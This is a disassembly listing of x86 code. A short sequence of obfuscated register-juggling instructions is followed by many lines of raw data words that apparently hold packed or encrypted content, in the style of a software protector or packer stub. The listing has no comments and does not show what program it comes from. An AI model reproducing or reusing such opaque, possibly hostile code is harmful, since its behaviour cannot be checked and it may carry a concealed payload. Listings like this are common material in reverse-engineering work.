		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	1FC5h
		mov	[esp], ebx
		push	eax
		mov	eax, 14CA6EB9h
		push	ecx
		mov	ecx, 1123C0D1h
		mov	ebp, ecx
		pop	ecx
		xor	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	45EFh
		mov	[esp], esi
		mov	esi, ebp
		mov	[ebx+8], esi
		pop	esi
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_54658E
; ---------------------------------------------------------------------------
		dd 0B836E745h, 5E9BB03h, 0E0FFC503h, 65E251Bh, 3398C369h
		dd 4BD3BF6Bh, 0EF7D04Ah, 2E88489Fh, 0ECEB701h, 17943DFh
		dd 220D6117h, 2D8BBEA0h, 40DFA8B1h, 25CA5AF6h, 153C510Ah
		dd 4EC09384h, 3D837431h, 26230D21h, 761451ADh, 0BDCF04EBh
		dd 0ACE97665h, 0BD000005h, 61C833Ah, 68B2D552h,	0BB6766E1h
		dd 31FBE39h, 67B0D752h,	158C4158h, 0AB24A872h, 0FF78FE24h
		dd 129542D8h, 0A895F473h, 54EEA0CAh, 0A9F15C2Ah, 0B11AB22h
		dd 8C96CB4Eh, 0C47F4DCEh, 0C077420Bh, 64E97349h, 0BB30EAEDh
		dd 0F526A129h, 179645E7h, 0B433A745h, 4CB40E24h, 28AF2EADh
		dd 1CC344F2h, 7DD65106h, 813AB06Ah, 0B5D112Bh, 0F671E64Ah
		dd 0A6153785h, 6D5E9527h, 94245F11h, 0CC5E6A5Fh, 203A8E09h
		dd 0C39A2EA9h, 0D5F33B67h, 74E2030Fh, 958DECF3h, 4CCB8E26h
		dd 3992411Bh, 6B61EDDh,	7EB32CA0h, 181A6B6Ah, 944F04E6h
		dd 5A3D6EA3h, 0B9138C40h, 548BC18Ah, 4F04E5D3h,	0B4048333h
		dd 10A82796h, 73A2EE4Ch, 861ABFA8h, 0B8F02518h,	4C37FE22h
		dd 0BD2E1554h, 54h, 49C077D8h, 0E66CCC73h, 24864F04h, 0FF7CA6FCh
		dd 0E45F937Ch, 152E14C8h, 0Ah, 97455CB6h, 8D454E87h, 0C3778BC0h
		dd 62D67444h, 8335D7E5h, 0FE33AA21h, 0D255031Fh, 0C8804D86h
		dd 0C120603Ah, 130F8E09h, 0C3A225A4h, 0C59712C7h, 0A13BB627h
		dd 0C79441B2h, 714BC677h, 0E9F16FEBh, 73EE6FA3h, 23A0EA59h
		dd 5D6FA015h, 0D7367A40h, 3EE4EB66h, 90AA3EB9h,	0BF0A5ED9h
		dd 56EA7EBh, 762E150Fh,	0B1h, 37E6CCA1h, 0BA35B9FAh, 0FAF09450h
		dd 73E0F87Fh, 8449553Eh, 2CADBF0Dh, 1E80EAADh, 2BE8A0B6h
		dd 142EAA67h, 36A7464Ah, 875D4BBh, 4F05912Ah, 0F98C498Ah
		dd 5235AC21h, 90B0B2F3h, 0CB0C4F05h, 3EB04A0Eh,	0A7153785h
		dd 6D2AFB3Dh, 1C5162F6h, 113CBE4Ch, 5DF4E2Ch, 386DAE4Fh
		dd 5EDC21A0h, 0DE4F05DFh, 0BDE5471Dh, 9C846675h, 15C7DE55h
		dd 3BBBE72Eh, 17A52495h, 0B72EEBDCh, 61h, 106DCCE6h, 4F04E612h
		dd 3A62B892h, 8CF54FE4h, 2194FE5Bh, 420812A6h, 4D2FF3C9h
		dd 0B631A445h, 2D0F70D7h, 8F4F05D2h, 6577F665h,	0CDD0BDEEh
		dd 0D6C37718h, 4E68BE9h, 0F526E94Fh, 0F072B312h, 4C4F04E5h
		dd 558ACE8Bh, 4F04E5D4h, 8D444C1Eh, 2E14C8B6h, 827h, 0DF9A8000h
		dd 6D30058h, 47C27751h,	8BD3AA80h, 1945DE75h, 490E1CBCh
		dd 0EA60FACEh, 57A5B71h, 4F050427h, 82485285h, 3C8AA9Bh
		dd 0F3244F05h, 0F4562ABEh, 9278448Ch, 6AEE346Eh, 0C39912C4h
		dd 2872DF10h, 0E94BB4A1h, 4B4F0503h, 9AF05788h,	16890257h
		dd 0D97FA8DFh, 0A79CDE5h, 1E697CD9h, 63643AA1h,	0B6DC19E6h
		dd 54BD8245h, 0A054E913h, 8CF5D6Fh, 0A7140E91h,	0FECA4D0Dh
		dd 87B81045h, 54E90EA3h, 5973EA61h, 0C79514C3h,	44959D67h
		dd 9B79BFE3h, 0E1C33440h, 41F6171Bh, 5FA007C6h,	54E8FCDDh
		dd 83B29C5Fh, 0B68BC508h, 0AE740BC4h, 0BB1AAE29h, 5973EE6Fh
		dd 76E521EAh, 0F2C8E5F7h, 0E3E86F8Eh, 0E98AA082h, 7FF87C54h
		dd 3F3D0243h, 0BD54E98Bh, 71D4097Ah, 5505A729h,	184D86D2h
		dd 69DA28BFh, 7A33F96Eh, 652EA920h, 1686Ah, 6FD8AD00h
		dd 0FC7E9AF4h, 2292FC7Fh, 894C81D4h, 274CC02Ah,	6B0AD092h
		dd 535841AEh, 0FB3C54E9h, 3FBAE0E1h, 4B3DFB8h, 53180285h
		dd 0D9C180D8h, 0D7678315h, 0D1CB96FDh, 52D5829Ch, 76DE9DF9h
		dd 0B7164BC4h, 0AF68EF6Bh, 0C6CA902Dh, 0AD44B69Ch, 0B05217A6h
		dd 0BD3CBBE7h, 4C5B281Ah, 578C33F9h, 0CB000000h, 25E862D8h
		dd 4E6AAD8h, 73498A4Fh,	0A854852h, 0EBC885BEh, 4F04E689h
		dd 7A4EC98Bh, 0DBF16AE0h, 9978B802h, 5F665BD2h,	19C18FF3h
		dd 62D6CC93h, 3D8F08CCh, 0A578D506h, 4E62A58h, 0C6C90A4Fh
		dd 0C007h, 9E4AA000h, 81E3C440h, 7A30C479h, 3C7196F2h
		dd 0D6CC7A53h, 60D3E966h, 890BC4B7h, 0F71CF9C6h, 975854E8h
		dd 39B027C5h, 4CCF8C96h, 17F6557Ch, 0E8F64C2Eh,	3E67A854h
		dd 54E8F63Ch, 0ED9912D8h, 91302B33h, 1A4F2910h,	0A1ED70B1h
		dd 63E954E9h, 8D4AD0E8h, 4EEBE0Ah, 0FF7EFD1Ch, 73AF368Ah
		dd 0C08A47C2h, 33AA21C0h, 0EE6CD9ACh, 5D11D62Fh, 0D4CE5AD3h
		dd 1CD7E566h, 1C437B3h,	0E5DF5DA2h, 820D4F11h, 0F298E4DFh
		dd 8F488B37h, 1B83FCDh,	13F2D3ABh, 120950D2h, 0AE6BAC4Fh
		dd 7CA6FC24h, 60617BFCh, 12091D1Fh, 6B5C9F4Fh, 8912CBAEh
		dd 0C3D3196Dh, 682F609Ah, 0FC9FD217h, 0FEE15254h, 0C46FD869h
		dd 0EC59710h, 0E4057ADDh, 4054EEA1h, 0A82F3D8Fh, 0C774AE31h
		dd 0A18BE9D6h, 26E954EEh, 5A60E7F5h, 52C87B1Dh,	0A72297F3h
		dd 41A0E0EAh, 968C138Ah, 79CF8F21h, 0F76C7CF7h,	0C83D3682h
		dd 6FE86AF0h, 0FB278D5Dh, 7BDA5D1Ah, 4EC98E94h,	6AAD1311h
		dd 2416C1C5h, 3B4DBCA8h, 0FC834C8Fh, 0DA2FB126h, 0F7286086h
		dd 9F6672A7h, 0Ah, 0F077E238h, 29AE6BD8h, 0C4775106h, 6EED7F4Dh
		dd 894FDDEFh, 2CA0BA0Eh, 520319B3h, 0F66785D7h,	19DB617Bh
		dd 0B930CA9Eh, 0D890AA3Eh, 68B30D5Fh, 65EAh, 57242C89h
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	8956242Ch, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 2404895Ch, 0B0BF5752h, 0F7391008h
		dd 7AC781DFh, 893EF9C4h, 0D5895FFAh, 4EC835Ah, 83242489h
		dd 58042404h, 4EC81h, 2C890000h, 8408F24h, 582434FFh, 4C481h
		dd 34FF0000h, 0C4815D24h, 4, 0FABC55E9h, 8FF292FFh, 0B830933Fh
		dd 5E9C0FAh, 0E0FFC503h, 1046B78Eh, 5D1A7053h, 2A4EAB8h
		dd 79B0564h, 3BEFBD58h,	98E9h, 9400h, 500h, 100h, 0A2800h
		dd 200h, 20h dup(0)
		dd 9EF7D300h, 0BEDE906h, 0A5680000h, 0E905E9C3h, 0FFFABB86h
		dd 0E9C4E868h, 0BB7CE905h, 0F568FFFAh, 0E905E9C5h, 0FFFABB72h
		dd 0E9C67068h, 0BB68E905h, 0D968FFFAh, 0E905E9C7h, 0FFFABB5Eh
		dd 0E9C83F68h, 0BB54E905h, 9468FFFAh, 0E905E9CBh, 0FFFABB4Ah
		dd 0E9CC9068h, 0BB40E905h, 41F2FFFAh, 9F5BC7C6h, 2CAD7518h
		dd 7EF02AADh, 9558C2C5h, 13A27B1Ah, 3558D786h, 0EFEE69EDh
		dd 83028533h, 3659D087h, 85E7D88Fh, 0E754EEA8h,	0C077CA81h
		dd 62E97349h, 5F9017C2h, 12904D38h, 0AF6C67B3h,	6C2DF3FEh
		dd 1EE3DCA3h, 4654E96Ch, 0C79E558Ch, 12C19B16h,	995C3E38h
		dd 31B9E1A4h, 643122B6h, 0E66DF374h, 2D854E8h, 0CD6CD71Eh
		dd 259D33F8h, 38000000h, 14C46FD8h, 0D90A3993h,	8340976h
		dd 4F8054E9h, 864CA7Dh,	1BEF54E9h, 0EB65DE17h, 0DA9633F8h
		dd 0C1000000h, 0EADBC077h, 4F04E688h, 652D584h,	2D1ED1CDh
		dd 78C88D9Fh, 0AC217DF6h, 7BACA735h, 9D1CDB61h,	3FBE3DCFh
		dd 0EA3CA798h, 0B3384F04h, 8B4D5538h, 4F8BB810h, 427C2C5h
		dd 0D3F25F14h, 46098037h, 4791256Ch, 927F1BE4h,	63B39FC6h
		dd 2C0AD948h, 74218845h, 5D2E17F6h, 0B954E9B7h,	0AB645776h
		dd 2196629h, 765AD01Ch,	15D8C285h, 3ADF3B9Ah, 2C8AA0ACh
		dd 0AD7508C5h, 6308B128h, 98221F86h, 9D17130h, 61D20000h
		dd 0BF3BE7E6h, 0CC8D9538h, 1ED04A4Dh, 0B538E2E5h, 33829B3Ah
		dd 5578F766h, 0F8E09CDh, 0A322A513h, 5679F067h,	0A587F8AFh
		dd 754EEA8h, 0C6772A61h, 19DE444Bh, 25A2160Ch, 5675C97h
		dd 0BC4F04E6h, 4E5E143h, 1690434Fh, 8EEDF025h, 0EBA42794h
		dd 0C46FD8E2h, 0DC69215h, 528D0CC1h, 3065F6C6h,	0ED1B106Dh
		dd 419B54E9h, 482E0698h, 0F6678368h, 13B2067Bh,	0F0C847F7h
		dd 588EECD1h, 2DEE54E9h, 50D61FF8h, 0FB54E958h,	51B9E32Fh
		dd 0CC1970A7h, 0FC281267h, 5C36039Ah, 0F74CAE6Bh, 6033F970h
		dd 0DEh, 60D6CCB7h, 0B51ED5E7h,	516BE269h, 0AE960ACBh
		dd 6151145Fh, 58DA2BEAh, 0D44F05DBh, 0A59A2E63h, 4F05DF3Eh
		dd 5FDD2281h, 0DD4F05D7h, 396E301Ah, 99DD5ED0h,	7065D23Ch
		dd 5DE2D0Fh, 0A2FCDF4Fh, 588C1F6Eh, 9215C42Eh, 0CAA96CA1h
		dd 53C77F5h, 0A524954Fh, 8A1DF639h, 0C178FF2Bh,	0CA4D0A14h
		dd 880AC3FEh, 5E8BF8C5h, 28EB54E9h, 0E765D2A5h,	33DF20h
		dd 0C0DA5AD0h, 0BCC6930Ch, 0ED35947Bh, 7244F36Dh, 0F13E7286h
		dd 6B7D3BCh, 5F1E048Bh,	0D4FE9B20h, 9B31221Fh, 88EDAh
		dd 0A5DC9F00h, 0F770F822h, 88F4AD0h, 0A0DB9D85h, 0F970E53Dh
		dd 237641D6h, 8A9037B2h, 0D04A4DCAh, 24FEE11Ah,	0EA9134B7h
		dd 0A9E84ABBh, 264454EEh, 62C67769h, 0ED6672F5h, 71A2DD91h
		dd 8407B46Eh, 0C0775401h, 62E97349h, 784524EBh,	4F04E5FAh
		dd 0C9DCB97Ah, 0DC8301FEh, 0C09817C6h, 0A339BE3Ah, 33927FB0h
		dd 0EEA804F2h, 389F5054h, 13F275E2h, 50400AC7h,	0D2BFBD20h
		dd 0A8072B3h, 571354EEh, 74DBBADDh, 0F42DAA2Eh,	54EE0A76h
		dd 0CCAE97F6h, 2854EE09h, 82D9B2E7h, 587702Ah, 34447D42h
		dd 0FF305AD2h, 0EE6AB011h, 0A247AC69h, 4DE2DAEBh, 72B31290h
		dd 0E8AF05E1h, 37320C66h, 83F42494h, 516BACD6h,	2BAC2A70h
		dd 2E9A291h, 1A70D755h,	373BB085h, 0EA6AB45Fh, 2BE45F6Dh
		dd 9DF554h, 0AEE04653h,	2FAA2F7Bh, 464B1D62h, 66A9EB0Eh
		dd 7DFFC0A7h, 0FFE2CB84h, 968C533Ch, 0FB27A621h, 0DBFCFD7Ch
		dd 608E5B92h, 78109E8h,	0D1820000h, 6FEB3756h, 0BC3DE5E8h
		dd 0CE809A3Dh, 65E83255h, 8332EBEAh, 0A528A716h, 5F7EF97Dh
		dd 0F39215C3h, 0A629A017h, 0F577481Fh, 7754EEAAh, 0E6CC5A31h
		dd 3AE3E1Ch, 0D8937C34h, 0BF11C46Fh, 362DBF3Ah,	0B930B9C5h
		dd 43228144h, 5080062h,	0DEBB7C4Fh, 0EEC92791h,	0F2638D54h
		dd 0BDEE6577h, 8F08C0DAh, 21A61208h, 19D0CA8Bh,	62E9359Eh
		dd 4DB3C2EBh, 0D4841C38h, 7066Dh, 0DD540700h, 6FE860BAh
		dd 8007B268h, 0D853051Dh, 71E86DB5h, 0ABFEB96Eh, 0F228AF2Ah
		dd 58C2C542h, 0AC761992h, 9229AC2Fh, 0AC70F233h, 0BECC54EEh
		dd 0F46FD8E1h, 0F76257ECh, 0AFEB5870h, 0E4D96C7Ah, 0F970F921h
		dd 0C0A770E3h, 0EF5811FFh, 0EDB06354h, 8706B5h,	987FF5B5h
		dd 8451D682h, 576ADC21h, 20CA54EEh, 0ADA632ADh,	2DBD9578h
		dd 2F0AB380h, 7BECECA9h, 54EE97F6h, 40898951h, 33FE7F03h
		dd 3B74h, 62D8A300h, 5ED825E8h,	0D64F04E6h, 0F178A265h
		dd 24F16276h, 0E5ADB3B4h, 42184F04h, 5C1E045Eh,	0F15A8923h
		dd 14CCC6BDh, 0E372Eh, 0CC660000h, 0D5E760D6h, 0C232B51Eh
		dd 65000001h, 0FBB45E48h, 50379679h, 4E60D6Fh, 0E94BB44Fh
		dd 4B4F04E5h, 70DD1E88h, 0E9107633h, 79462554h,	54E90FFBh
		dd 0D1DDB679h, 0FB1B38Ch, 0C03354E9h, 0D2FEC18Fh, 7D0493BFh
		dd 6AC3A19Eh, 0EE21F953h, 1B995625h, 6FE86EB4h,	5A2DE65Dh
		dd 3791F865h, 0E2534FFFh, 0DD5FA067h, 5FFEAF88h, 44B7339Ch
		dd 0B18E6D74h, 0FEAF88B3h, 0A615FE31h, 179042E9h, 0FA5D8E45h
		dd 96F5D385h, 1FFE3104h, 72D55403h, 0B3D05293h,	0C22CF952h
		dd 83B9116h, 46B7AD7h, 9BB3152Eh, 3C705ADDh, 0B4DEBB77h
		dd 0C0278407h, 0B777D448h, 59D5C25h, 2DAE0000h,	43F713B2h
		dd 9059C1C4h, 2AAC7619h, 41F42EB1h, 6756C7C6h, 81048332h
		dd 3B5AD599h, 0EFEE69EFh, 82058433h, 0D95BA4FBh, 5B54EEACh
		dd 0C077762Dh, 89467349h, 667B440Bh, 0D554E90Ch, 35A709CDh
		dd 0C0352EBAh, 149E7BE8h, 0F166BC23h, 0BE39BEE4h, 0E90BE341h
		dd 5D8E4154h, 3E09A11Ch, 8F76E21Ch, 537h, 890C8748h, 3F5ED991h
		dd 0ECF376E3h, 840B8436h, 3DA0DF9Eh, 19DCCDE8h,	0B323FF9Eh
		dd 0C3899134h, 1EDD4548h, 241F89Fh, 0EEAE3F3Dh,	90CFBD54h
		dd 7349C077h, 0D1EB62E9h, 51051DC4h, 845182D6h,	968CD6DAh
		dd 0A2ECA926h, 4C13B235h, 5464E356h, 83C0329Fh,	0F42E14CDh
		dd 28h,	0C46FD823h, 0C0889215h,	8DFE7547h, 17B4F5CAh, 7FB054E9h
		dd 1774FA6Dh, 0BDF54E9h, 0FA75CE07h, 2EE633F8h,	31000000h
		dd 2AED6FD8h, 0E93283D5h, 6F2EE154h, 0A2298733h, 71A2912Bh
		dd 3190916Eh, 0C77454E9h, 11D94144h, 8783C296h,	0CFFE5BD6h
		dd 487h, 0ED6FD81Eh, 2D4D52Ah, 9F5054E9h, 0DB9E84CDh, 7AD70C5Ch
		dd 7D205B10h, 0A632B525h, 5AE8E0ADh, 0B3059FFBh, 7048C777h
		dd 6ECE97C3h, 0FA26A06Dh, 9679FBB4h, 0CD2A48A9h, 646BAC5Ah
		dd 209739BEh, 1A68CA3Bh, 13C44F05h, 64598ADEh, 0A4150D54h
		dd 9642E925h, 1925BEA4h, 8200FDBCh, 30167CC3h, 520E9249h
		dd 0BE83E0ADh, 0FD54E94Fh, 26B235A5h, 0E1D25504h, 73498A34h
		dd 0DEEA65E9h, 0B10B8C4Ch, 0D61E02E8h, 1DFC248Eh, 0F2704D5Eh
		dd 7254E939h, 7E494C81h, 635C0381h, 5ACD4AA2h, 0A1BB11C2h
		dd 86ECB32Ah, 0C3960E54h, 79533CE3h, 99D7DBA1h,	96EFAE2Ch
		dd 54E9AB35h, 0C35F7EB1h, 0E8329514h, 0AF2DE661h, 0BA1D89Dh
		dd 8263AFF9h, 7DFFC0D5h, 0FF54E98Bh, 0F1C4CB3Ch, 0B22DAF04h
		dd 0E0A19E41h, 45ACDA9h, 0F463F9D3h, 0C1889275h, 14C17246h
		dd 121EE444h, 67E05248h, 0D7849E55h, 4730FB54h,	551802C5h
		dd 0F8558EDAh, 0BF77D825h, 3CFF54E9h, 53CA8199h, 7A77A68Ch
		dd 0CD2A72C9h, 11094800h, 598ADE59h, 0BB2592FCh, 1B909D4Ah
		dd 2E774186h, 910136C9h, 7EA46B5Ch, 0FB6840FFh
		dd 433C8F1Eh, 0CC163E8h, 0C208A095h, 0FFC31E7Dh, 366B5CC6h
		dd 28AAF057h, 0E3D17DB6h, 9DCEF075h, 7ABB14CFh,	5ACDE195h
		dd 0D85AAB0Ah, 544F05D8h, 628C36E3h, 0AD3F70F7h, 5D8B4BAh
		dd 5AB01F4Fh, 0F708A45h, 4F057C2Dh, 1024C8Fh, 10E36786h
		dd 2DF0B259h, 4FB31FF8h, 1500BD86h, 5C2E2Eh, 0D8690000h
		dd 30E3F46Fh, 0C29A6559h, 0A6402203h, 7BBC4F05h, 57E4706h
		dd 0AA54E9C8h, 6D7FF870h, 0CC911DF6h, 0E9C871F3h, 0CF00F354h
		dd 0C7E44AFDh, 0A82054E9h, 0CD8F9D2Fh, 0C87DFFC0h, 3CFF54E9h
		dd 0EB6BF1CBh, 0D8E75C6Ch, 0F3C60E72h, 6122EB17h, 8A33F9ABh
		dd 0FCh, 0EC6BEF3Bh, 0C077AA23h, 64E97349h, 8E4DDFEDh
		dd 28AFBD0Fh, 7B4EEB1h,	0F16D4A84h, 92A259D3h, 5259A639h
		dd 0FD4F0521h, 0DE9B35A5h, 61AD665Bh, 0A5EE6AEAh, 39D0BE54h
		dd 112901C4h, 2067B72Ah, 7E6A8DDh, 4110CBCBh, 8D46128Dh
		dd 32E8FF58h, 0FC430285h, 5AFA183h, 72F9034Fh, 172E1FBh
		dd 9C490454h, 0C2D8BF1Eh, 0BF38BC12h, 0B9C57E4Ah, 90D1BA35h
		dd 54E9C9E3h, 0AE0D9043h, 0B674F6CFh, 0DD9054E9h, 0A1DD16A2h
		dd 19D6A56Eh, 0B7CB349Bh, 465AD05Fh, 21C9F5Ch, 7F7BD453h
		dd 0CC1D9BCh, 0A528F295h, 0B6128D2Ah, 0F359221Fh, 1E232h
		dd 0F970E300h, 0B8C4CD6h, 5CDB9E84h, 0F46FE139h, 0D8449D1h
		dd 77229D8Ah, 0DE444BC6h, 24FEE11Eh, 889235B6h,	0BE4548C3h
		dd 0B09496EFh, 6A1054EEh, 4BC6773Dh, 0B9866544h, 4F04E5BBh
		dd 0F11DF639h, 0E6C517Ah, 6E4F04E6h, 805578ADh,	2AED6FD8h
		dd 8E8D6F4Bh, 94004EDFh, 0E6CD7197h, 632C618Dh,	0E99B2902h
		dd 16A29554h, 0E9974FD1h, 0E020FA54h, 0F97A5A29h, 0D38333h
		dd 0CCCA0000h, 0D0E867D6h, 0EF6CB663h, 0F5CAA96Ch, 4F04E677h
		dd 0D6651BF5h, 5561F6E7h, 725B760h, 2E74DB56h, 0A99A2EA9h
		dd 8DE5ECECh, 49DE7888h, 0C42DE6FCh, 4F054FDDh,	0F49B12D9h
		dd 43BCA92Eh, 4F0546E1h, 8A34B323h, 9441449h, 67FDE5Ch
		dd 54E96175h, 0C7F1ED1h, 310ED153h, 5AD00722h, 7DD7859Dh
		dd 430C41F8h, 0A42EED27h, 6155C690h, 0BC31692Ch, 0D5988205h
		dd 268C1D5Ah, 5DFF2220h, 0E694h, 0FD74E700h, 0F8840DAh
		dd 0A0279288h, 0F873E53Dh, 11884DD5h, 8B1E998Eh, 0D2484FCAh
		dd 38E2E562h, 8C9639B2h, 0B2494CCFh, 0B29092D3h, 9EEC54EEh
		dd 52C677C1h, 68B75A31h, 0F8EC395h, 6225A413h, 671F0508h
		dd 92FC8F5Fh, 0F92F75B9h, 0E6F95240h, 60C07771h, 0AA3E73ECh
		dd 3DA0DB90h, 0B81F9D4Ah, 0E686E4D9h, 35E64F04h, 0E2B88558h
		dd 1254EEA7h, 0FA718B21h, 11C65C43h, 28803FBFh,	0D3F2C63Bh
		dd 338900B7h, 806E5700h, 7C5865E1h, 0C5A4FE22h,	0A3E17AF8h
		dd 5C39FA55h, 83028532h, 0DD40D087h, 20B66FC8h,	0F7DF580Ch
		dd 587F919Bh, 0A3090567h, 43B46755h, 2EA0BA0Eh,	64727B5h
		dd 8EDA5D1Ch, 0B824955h, 8DC982B1h, 16C3DF85h, 671E018Ah
		dd 74A9FB2Ah, 0F822EF64h, 4DD5F873h, 0F4BD0F8Eh, 3, 77510623h
		dd 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch,	6785D752h
		dd 0DB617BF6h, 30CA9E19h, 90AA3EB9h, 0B30D5FD8h, 52E38953h
		dd 280ABFBAh, 28E2811Bh, 423B106Dh, 24EA814Ah, 11B0008h
		dd 0EB835AD3h, 241C8704h, 4583685Ch, 2C890000h,	2B206824h
		dd 14890000h, 0B8505624h, 5E9C285h, 8958C689h, 5685EF5h
		dd 8900006Eh, 4812424h,	424h, 0BB535A00h, 8, 0B951D301h
		dd 0
		dd 2989D901h, 148B5B59h, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 2434FF5Ch, 4C4815Dh, 0E9000000h, 0FFFAAFA6h
		dd 0B846F5B6h, 5E9CD9Bh, 0E0FFC503h, 2071632h, 4E2D018Eh
		dd 33B50E2Dh, 0D2461C1h, 4720CB17h, 6A59BCA2h, 7F797EA1h
		dd 2217364Ah, 8C0BA6Dh,	78A37E1Eh, 20DB19CAh, 32D2B5E2h
		dd 69B362FDh, 55368E9Eh, 7FC17B28h, 444900B1h, 205762CEh
		dd 5B3A29CAh, 1C75E5B2h, 4740404Fh, 6D8B20E6h, 18B7FDD6h
		dd 48028D76h, 7F5AD803h, 4344A3C1h, 15B6518Dh, 5268AF6Fh
		dd 22C9DAFCh, 4FB0A70Ah, 5FF1D5C2h, 5FB2F6C9h, 71DCDD29h
		dd 24EBh, 8 dup(0)
		dd 0BDE90000h, 89000000h, 0E9CEADB5h, 95858B05h, 8B05E429h
		dd 0E4166D85h, 0F7B58D05h, 8D05E9CEh, 0E7455885h, 0C3D0FF05h
		dd 0E855h, 815D0000h, 0E9CEFDEDh, 95BD8305h, 105E429h
		dd 2C850Fh, 0B5FF0000h,	5E9CEADh, 166D858Bh, 363505E4h
		dd 0FF348127h, 0F013CD0h, 0A85h, 1B800h, 47E90000h, 33000000h
		dd 40E9C0h, 1C6A0000h, 0CEB1B58Dh, 0FF5605E9h, 0E9CEADB5h
		dd 6D858B05h, 3505E416h, 34812736h, 0C483D0FFh,	0B1B58D0Ch
		dd 8B05E9CEh, 0E0831446h, 4F88304h, 7840Fh, 0C0330000h
		dd 5E9h, 1B800h, 0BD830000h, 5E42995h, 7850F01h, 5D000000h
		dd 2E9C3h, 0CF5D0000h, 0CED6858Dh, 858905E9h, 5E417CDh
		dd 0D0D08D8Dh, 6A05E9h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0FC2843C3h, 63F17C8Dh, 890F1FCFh
		dd 6, 24459D8Bh, 0F6005E4h, 0EE8D6B7h, 80000000h, 0BFDD38F4h
		dd 0E801DE6Fh, 50EF7AE4h, 2FEB80F8h, 8D89615Eh,	5E41095h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 88C35545h
		dd 0E5B58905h, 0C705E425h, 0E42C6585h, 5AC005h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0DDAD28DAh, 69958902h, 0C705E420h, 0E430FD85h, 5, 0D9B50B00h
		dd 0FF05E41Bh, 0E4021DB5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 9BD2B27Fh
		dd 0A25F8428h, 4258589h, 95FF05E4h, 5E42A61h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 2DC35545h, 9B1523FEh
		dd 49B58B25h, 0E905E401h, 0Eh, 14B4655Dh, 0B1220407h, 9DB7C7C0h
		dd 6A507Bh, 10C195FFh, 0C08B05E4h, 0AF796BEBh, 0B9301B00h
		dd 258F58E1h, 0B861705h, 1E2845F4h, 0BE4E6ADFh,	3E88B867h
		dd 1DA19FAAh, 0A50059E4h, 60ED5502h, 1499094Ch,	4D9C156Ah
		dd 3A683004h, 4A5E5454h, 0CAEC4D14h, 0CAE7C998h, 0D565C01h
		dd 0F30B638Dh, 0EE8929A1h, 247F1B1Dh, 0AA0F6E69h, 112F4736h
		dd 2D6759A5h, 608AE520h, 0DA15E043h, 3174E8B1h,	0CBF4431h
		dd 0FE837h, 0B0B00000h,	48211216h, 4DDFB7C9h, 9CEFB695h
		dd 7FBB66EFh, 0BB605EE5h, 525C8696h, 61C7BF0Fh,	63FBC681h
		dd 0BA660000h, 680F9Bh,	0F000000h, 605FCBBFh, 1A6D958Bh
		dd 0AE905E4h, 4E000000h, 9771CAB7h, 0E95D563h, 34FF6198h
		dd 14E937h, 0EFB00000h,	3FFC7236h, 2FF19066h, 3ED8611Bh
		dd 12A590FAh, 2958F0EEh, 0E425BD95h, 1E88105h, 1369E01h
		dd 0E4162195h, 7DC08105h, 894B2EE1h, 0E41B219Dh, 0E9E88105h
		dd 0F7F8379h, 683h, 9D958900h, 5005E41Ch, 455958Bh, 48F05E4h
		dd 0BE93Eh, 0DCEF0000h,	97738FF6h, 5B395D25h, 66526060h
		dd 0F5BFB8Bh, 1386h, 0DE800h, 70830000h, 0DE9D8078h, 0C1C4C9E7h
		dd 5A03B8C8h, 0E1EF8161h, 805F8C8Ah, 0C7815EDAh, 5F8C8ADDh
		dd 0D58589h, 0FF8105E4h, 0FFFF9CF8h, 0FF58850Fh, 830FFFFFh
		dd 1, 4C08EBFCh, 394259h, 0E9024100h, 0CC0h, 0E9D3E568h
		dd 725EE905h, 2368FFFBh, 0E905E9D5h, 0FFFB7254h, 0E9D6F168h
		dd 724AE905h, 0E368FFFBh, 0E905E9D7h, 0FFFB7240h, 0E9D89D68h
		dd 7236E905h, 9F68FFFBh, 0E905E9DAh, 0FFFB722Ch, 0E9DB3B68h
		dd 7222E905h, 6E68FFFBh, 0E905E9DCh, 0FFFB7218h, 0E9DD7768h
		dd 720EE905h, 2649FFFBh, 158538F1h, 57C0472Ch, 9006B972h
		dd 0D745F8B1h, 7C6D39F2h, 0EB80A53Bh, 2CC5E074h, 6C052AB9h
		dd 0AA4768F9h, 0C8485937h, 0FC92ACFh, 8F1EEE66h, 0C92ACF89h
		dd 795ECF4Eh, 8B6DDC91h, 5A7FEC22h, 8B9C0DF0h, 0AA473613h
		dd 21B75428h, 0D6052675h, 713B4E38h, 1ED79021h,	0A312D2A7h
		dd 0EC2CBD0Dh, 2BC92721h, 9B7AD054h, 0C9272171h, 42DA69D3h
		dd 0C68CA923h, 3C21B077h, 31624D78h, 466BCFD8h,	5C000000h
		dd 7848AFFFh, 4CD9D8A8h, 3FCEAF6Bh, 0CCC31DD9h,	54CDAF1Eh
		dd 0D2A73FAFh, 8FCF8B7Ah, 3F6EAE3Fh, 0D6A9C927h, 3F59C352h
		dd 2BFBC927h, 743B1E8Ah, 1822C6E3h, 4EE7C82Bh, 0C1E4CFD8h
		dd 2C000000h, 70341D8Dh, 5A7FECD9h, 928DCF0h, 258B63AFh
		dd 0CF5DC4A0h, 99E6072Fh, 3F209E5h, 0F1660757h,	0F1BB7AD0h
		dd 14FEE370h, 52DF0091h, 0CAEF6302h, 5ACBAD00h,	0CCC3C861h
		dd 0D75C8516h, 349EC350h, 0DFED1262h, 0A7D15DCEh, 4C2598D2h
		dd 4715FACAh, 4D0A2F36h, 0B90FFED7h, 3785A838h,	640021B6h
		dd 0C0D1A1F7h, 0CCC17940h, 0CD743087h, 5BBC7A5Fh, 69DB1F70h
		dd 0A73D3EFh, 66090000h, 0D545F8B1h, 178007ECh,	50C67932h
		dd 9705B871h, 3CADF9B2h, 0AB4065FBh, 0EC85A034h, 2CC5EA79h
